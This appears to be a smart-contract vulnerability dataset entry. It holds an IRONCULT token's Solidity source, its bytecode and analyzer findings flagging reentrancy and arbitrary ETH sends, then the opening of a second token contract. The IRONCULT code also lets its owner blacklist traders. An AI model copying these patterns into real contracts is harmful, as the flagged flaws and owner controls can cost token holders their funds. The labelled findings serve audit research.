⠄⠄⠄⠄⠈⢿⣿⣿⣿⠷⠯⠽⠐⠁⠁⢀⡀⣤⢖⣽⢿⣦⣶⣾⣿⣿⣿⣿⣿⣿⢎⠇⡪⣸⡪⡮⠊⠄⠌⠎⡄⠄⠄⠄⠄⠄⠄⡂⢁⠉⡀
⠄⠄⠄⠄⠄⠈⠛⠚⠒⠵⣶⣶⣶⣶⢪⢃⢇⠏⡳⡕⣝⢽⡽⣻⣿⣿⣿⣿⡿⣺⠰⡱⢜⢮⡟⠁⠄⠄⠅⠅⢂⠐⠄⠐⢀⠄⠄⠄⠂⡁⠂
⠄⠄⠄⠄⠄⠄⠄⠰⠄⠐⢒⣠⣿⣟⢖⠅⠆⢝⢸⡪⡗⡅⡯⣻⣺⢯⡷⡯⡏⡇⡅⡏⣯⡟⠄⠄⠄⠨⡊⢔⢁⠠⠄⠄⠄⠄⠄⢀⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠹⣿⣿⣿⣿⢿⢕⢇⢣⢸⢐⢇⢯⢪⢪⠢⡣⠣⢱⢑⢑⠰⡸⡸⡇⠁⠄⠄⠠⡱⠨⢘⠄⠂⡀⠂⠄⠄⠄⠄⠈⠂⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⣿⣿⣟⣝⢔⢅⠸⡘⢌⠮⡨⡪⠨⡂⠅⡑⡠⢂⢇⢇⢿⠁⠄⢀⠠⠨⡘⢌⡐⡈⠄⠄⠠⠄⠄⠄⠄⠄⠄⠁
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠹⣿⣿⣿⣯⢢⢊⢌⢂⠢⠑⠔⢌⡂⢎⠔⢔⢌⠎⡎⡮⡃⢀⠐⡐⠨⡐⠌⠄⡑⠄⢂⠐⢀⠄⠄⠈⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠙⣿⣿⣿⣯⠂⡀⠔⢔⠡⡹⠰⡑⡅⡕⡱⠰⡑⡜⣜⡅⡢⡈⡢⡑⡢⠁⠰⠄⠨⢀⠐⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⠻⢿⣿⣷⣢⢱⠡⡊⢌⠌⡪⢨⢘⠜⡌⢆⢕⢢⢇⢆⢪⢢⡑⡅⢁⡖⡄⠄⠄⠄⢀⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠛⢿⣿⣵⡝⣜⢐⠕⢌⠢⡑⢌⠌⠆⠅⠑⠑⠑⠝⢜⠌⠠⢯⡚⡜⢕⢄⠄⠁⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠙⢿⣷⡣⣇⠃⠅⠁⠈⡠⡠⡔⠜⠜⣿⣗⡖⡦⣰⢹⢸⢸⢸⡘⠌⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⠋⢍⣠⡤⡆⣎⢇⣇⢧⡳⡍⡆⢿⣯⢯⣞⡮⣗⣝⢎⠇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠁⣿⣿⣎⢦⠣⠳⠑⠓⠑⠃⠩⠉⠈⠈⠉⠄⠁⠉⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⡿⡞⠁⠄⠄⢀⠐⢐⠠⠈⡌⠌⠂⡁⠌⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢂⢂⢀⠡⠄⣈⠠⢄⠡⠒⠈⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠢⠠⠊⠨⠐⠈⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
IronCult- $IRONCULT
https://t.me/ironcultportal
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IRONCULT is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e9 * 10**9;
string public constant name = unicode"IRON CULT";
string public constant symbol = unicode"IRONCULT";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 8;
uint public _sellFee = 8;
uint private _feeRate = 15;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
require(!_isBot[from] && !_isBot[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (3 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/8;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createNewPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiqNStart() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 10000000 * 10**9;
_maxHeldTokens = 20000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external onlyOwner(){
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = true;
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101e75760003560e01c80636755a4d011610102578063a9059cbb11610095578063c3c8cd8011610064578063c3c8cd8014610596578063db92dbb6146105ab578063dcb0e0ad146105c0578063dd62ed3e146105e057600080fd5b8063a9059cbb14610521578063b2289c6214610541578063b515566a14610561578063b60e16af1461058157600080fd5b806373f54a11116100d157806373f54a111461048f5780638da5cb5b146104af57806394b8d8f2146104cd57806395d89b41146104ed57600080fd5b80636755a4d01461042f5780636fc3eaec1461044557806370a082311461045a578063715018a61461047a57600080fd5b806331c2d8471161017a57806345596e2e1161014957806345596e2e146103ac57806349bd5a5e146103cc578063590f897e146104045780635996c6b01461041a57600080fd5b806331c2d8471461032757806332d873d8146103475780633bbac5791461035d57806340b9a54b1461039657600080fd5b80631940d020116101b65780631940d020146102b557806323b872dd146102cb57806327f3a72a146102eb578063313ce5671461030057600080fd5b806306fdde03146101f3578063095ea7b31461023e5780630b78f9c01461026e57806318160ddd1461029057600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5061022860405180604001604052806009815260200168125493d38810d5531560ba1b81525081565b6040516102359190611779565b60405180910390f35b34801561024a57600080fd5b5061025e6102593660046117f3565b610626565b6040519015158152602001610235565b34801561027a57600080fd5b5061028e61028936600461181f565b61063c565b005b34801561029c57600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102c157600080fd5b506102a7600d5481565b3480156102d757600080fd5b5061025e6102e6366004611841565b6106d1565b3480156102f757600080fd5b506102a7610725565b34801561030c57600080fd5b50610315600981565b60405160ff9091168152602001610235565b34801561033357600080fd5b5061028e610342366004611898565b610735565b34801561035357600080fd5b506102a7600e5481565b34801561036957600080fd5b5061025e61037836600461195d565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a257600080fd5b506102a760095481565b3480156103b857600080fd5b5061028e6103c736600461197a565b6107cb565b3480156103d857600080fd5b506008546103ec906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b34801561041057600080fd5b506102a7600a5481565b34801561042657600080fd5b5061028e610891565b34801561043b57600080fd5b506102a7600c5481565b34801561045157600080fd5b5061028e610a96565b34801561046657600080fd5b506102a761047536600461195d565b610aa3565b34801561048657600080fd5b5061028e610abe565b34801561049b57600080fd5b5061028e6104aa36600461195d565b610b32565b3480156104bb57600080fd5b506000546001600160a01b03166103ec565b3480156104d957600080fd5b50600f5461025e9062010000900460ff1681565b3480156104f957600080fd5b5061022860405180604001604052806008815260200167125493d390d5531560c21b81525081565b34801561052d57600080fd5b5061025e61053c3660046117f3565b610baa565b34801561054d57600080fd5b506007546103ec906001600160a01b031681565b34801561056d57600080fd5b5061028e61057c366004611898565b610bb7565b34801561058d57600080fd5b5061028e610c49565b3480156105a257600080fd5b5061028e610e45565b3480156105b757600080fd5b506102a7610e5b565b3480156105cc57600080fd5b5061028e6105db3660046119a1565b610e73565b3480156105ec57600080fd5b506102a76105fb3660046119be565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610633338484610ef0565b50600192915050565b6000546001600160a01b0316331461066f5760405162461bcd60e51b8152600401610666906119f7565b60405180910390fd5b600954821080156106815750600a5481105b61068a57600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106de848484611014565b6001600160a01b038416600090815260036020908152604080832033845290915281205461070d908490611a42565b905061071a853383610ef0565b506001949350505050565b600061073030610aa3565b905090565b6000546001600160a01b0316331461075f5760405162461bcd60e51b8152600401610666906119f7565b60005b81518110156107c75760006005600084848151811061078357610783611a59565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107bf81611a6f565b915050610762565b5050565b6000546001600160a01b031633146107f55760405162461bcd60e51b8152600401610666906119f7565b6007546001600160a01b0316336001600160a01b03161461081557600080fd5b600081116108555760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b6044820152606401610666565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146108bb5760405162461bcd60e51b8152600401610666906119f7565b600f5460ff16156109085760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610666565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109919190611a8a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a029190611a8a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a739190611a8a565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b47610aa081611416565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610ae85760405162461bcd60e51b8152600401610666906119f7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610b5c5760405162461bcd60e51b8152600401610666906119f7565b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610886565b6000610633338484611014565b6000546001600160a01b03163314610be15760405162461bcd60e51b8152600401610666906119f7565b60005b81518110156107c757600160056000848481518110610c0557610c05611a59565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c4181611a6f565b915050610be4565b6000546001600160a01b03163314610c735760405162461bcd60e51b8152600401610666906119f7565b600f5460ff1615610cc05760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610666565b600654610ce09030906001600160a01b0316670de0b6b3a7640000610ef0565b6006546001600160a01b031663f305d7194730610cfc81610aa3565b600080610d116000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d79573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d9e9190611aa7565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610df7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1b9190611ad5565b50600f805460ff1916600117905542600e55662386f26fc10000600c5566470de4df820000600d55565b6000610e5030610aa3565b9050610aa081611450565b600854600090610730906001600160a01b0316610aa3565b6000546001600160a01b03163314610e9d5760405162461bcd60e51b8152600401610666906119f7565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610886565b6001600160a01b038316610f525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610666565b6001600160a01b038216610fb35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610666565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110785760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610666565b6001600160a01b0382166110da5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610666565b6000811161113c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610666565b600080546001600160a01b0385811691161480159061116957506000546001600160a01b03848116911614155b156113b7576001600160a01b03841660009081526005602052604090205460ff161580156111b057506001600160a01b03831660009081526005602052604090205460ff16155b6111b957600080fd5b6008546001600160a01b0385811691161480156111e457506006546001600160a01b03848116911614155b801561120957506001600160a01b03831660009081526004602052604090205460ff16155b156112aa57600f5460ff166112605760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610666565b42600e5460b46112709190611af2565b11156112a657600c5482111561128557600080fd5b600d5461129184610aa3565b61129b9084611af2565b11156112a657600080fd5b5060015b600f54610100900460ff161580156112c45750600f5460ff165b80156112de57506008546001600160a01b03858116911614155b156113b75760006112ee30610aa3565b905080156113a057600f5462010000900460ff161561137157600b5460085460649190611323906001600160a01b0316610aa3565b61132d9190611b0a565b6113379190611b29565b81111561137157600b546008546064919061135a906001600160a01b0316610aa3565b6113649190611b0a565b61136e9190611b29565b90505b600061137e600883611b29565b905061138a8183611a42565b9150611395816115c4565b61139e82611450565b505b4780156113b0576113b047611416565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806113f957506001600160a01b03841660009081526004602052604090205460ff165b15611402575060005b61140f85858584866115f4565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107c7573d6000803e3d6000fd5b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149457611494611a59565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115119190611a8a565b8160018151811061152457611524611a59565b6001600160a01b03928316602091820292909201015260065461154a9130911684610ef0565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611583908590600090869030904290600401611b4b565b600060405180830381600087803b15801561159d57600080fd5b505af11580156115b1573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b600f805461ff00191661010017905580156115e6576115e63061dead83611014565b50600f805461ff0019169055565b60006116008383611616565b905061160e8686868461163a565b505050505050565b600080831561163357821561162e5750600954611633565b50600a545b9392505050565b6000806116478484611717565b6001600160a01b0388166000908152600260205260409020549193509150611670908590611a42565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116a0908390611af2565b6001600160a01b0386166000908152600260205260409020556116c28161174b565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170791815260200190565b60405180910390a3505050505050565b6000808060646117278587611b0a565b6117319190611b29565b9050600061173f8287611a42565b96919550909350505050565b30600090815260026020526040902054611766908290611af2565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117a65785810183015185820160400152820161178a565b818111156117b8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610aa057600080fd5b80356117ee816117ce565b919050565b6000806040838503121561180657600080fd5b8235611811816117ce565b946020939093013593505050565b6000806040838503121561183257600080fd5b50508035926020909101359150565b60008060006060848603121561185657600080fd5b8335611861816117ce565b92506020840135611871816117ce565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118ab57600080fd5b823567ffffffffffffffff808211156118c357600080fd5b818501915085601f8301126118d757600080fd5b8135818111156118e9576118e9611882565b8060051b604051601f19603f8301168101818110858211171561190e5761190e611882565b60405291825284820192508381018501918883111561192c57600080fd5b938501935b8285101561195157611942856117e3565b84529385019392850192611931565b98975050505050505050565b60006020828403121561196f57600080fd5b8135611633816117ce565b60006020828403121561198c57600080fd5b5035919050565b8015158114610aa057600080fd5b6000602082840312156119b357600080fd5b813561163381611993565b600080604083850312156119d157600080fd5b82356119dc816117ce565b915060208301356119ec816117ce565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a5457611a54611a2c565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a8357611a83611a2c565b5060010190565b600060208284031215611a9c57600080fd5b8151611633816117ce565b600080600060608486031215611abc57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ae757600080fd5b815161163381611993565b60008219821115611b0557611b05611a2c565b500190565b6000816000190483118215151615611b2457611b24611a2c565b500290565b600082611b4657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b9b5784516001600160a01b031683529383019391830191600101611b76565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220bacc03f62ec4e9dc5a89faad731a1994d415927f801cda641e95a23d77a93cac64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,776 |
0x059cfc571225bc618d22a7cfd7b107d9a5e892f9
|
// --------------------------------
// Smart Contract for TricKoreTreat
// Twitter: https://twitter.com/trickoretreatfinance
// Telegram: https://t.me/trickoretreatfinance
// Website: https://trickoretreat.finance
// Email: info@trickoretreat.finance
// Medium: https://trickoretreatfinance.medium.com
// --------------------------------
pragma solidity ^0.5.17;
contract Context
{
constructor() internal {}
function _msgSender() internal view returns (address payable)
{
return msg.sender;
}
function _msgData() internal view returns (bytes memory)
{
this;
return msg.data;
}
}
contract Ownable is Context
{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal
{
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address)
{
return _owner;
}
modifier onlyOwner()
{
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool)
{
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner
{
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner
{
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal
{
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// --------------------------------
// Safe Math Library
// Added ceiling function
// --------------------------------
library SafeMath
{
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
// Gas Optimization
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0)
{
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256)
{
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256)
{
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256)
{
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
interface IERC20
{
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20Detailed is IERC20
{
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public
{
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory)
{
return _name;
}
function symbol() public view returns (string memory)
{
return _symbol;
}
function decimals() public view returns (uint8)
{
return _decimals;
}
}
// --------------------------------
// Ensure enough gas
// --------------------------------
contract GasPump
{
bytes32 private stub;
uint256 private constant target = 10000;
modifier requestGas()
{
if (tx.gasprice == 0 || gasleft() > block.gaslimit)
{
_;
uint256 startgas = gasleft();
while (startgas - gasleft() < target)
{
// Burn gas
stub = keccak256(abi.encodePacked(stub));
}
}
else
{
_;
}
}
}
// --------------------------------
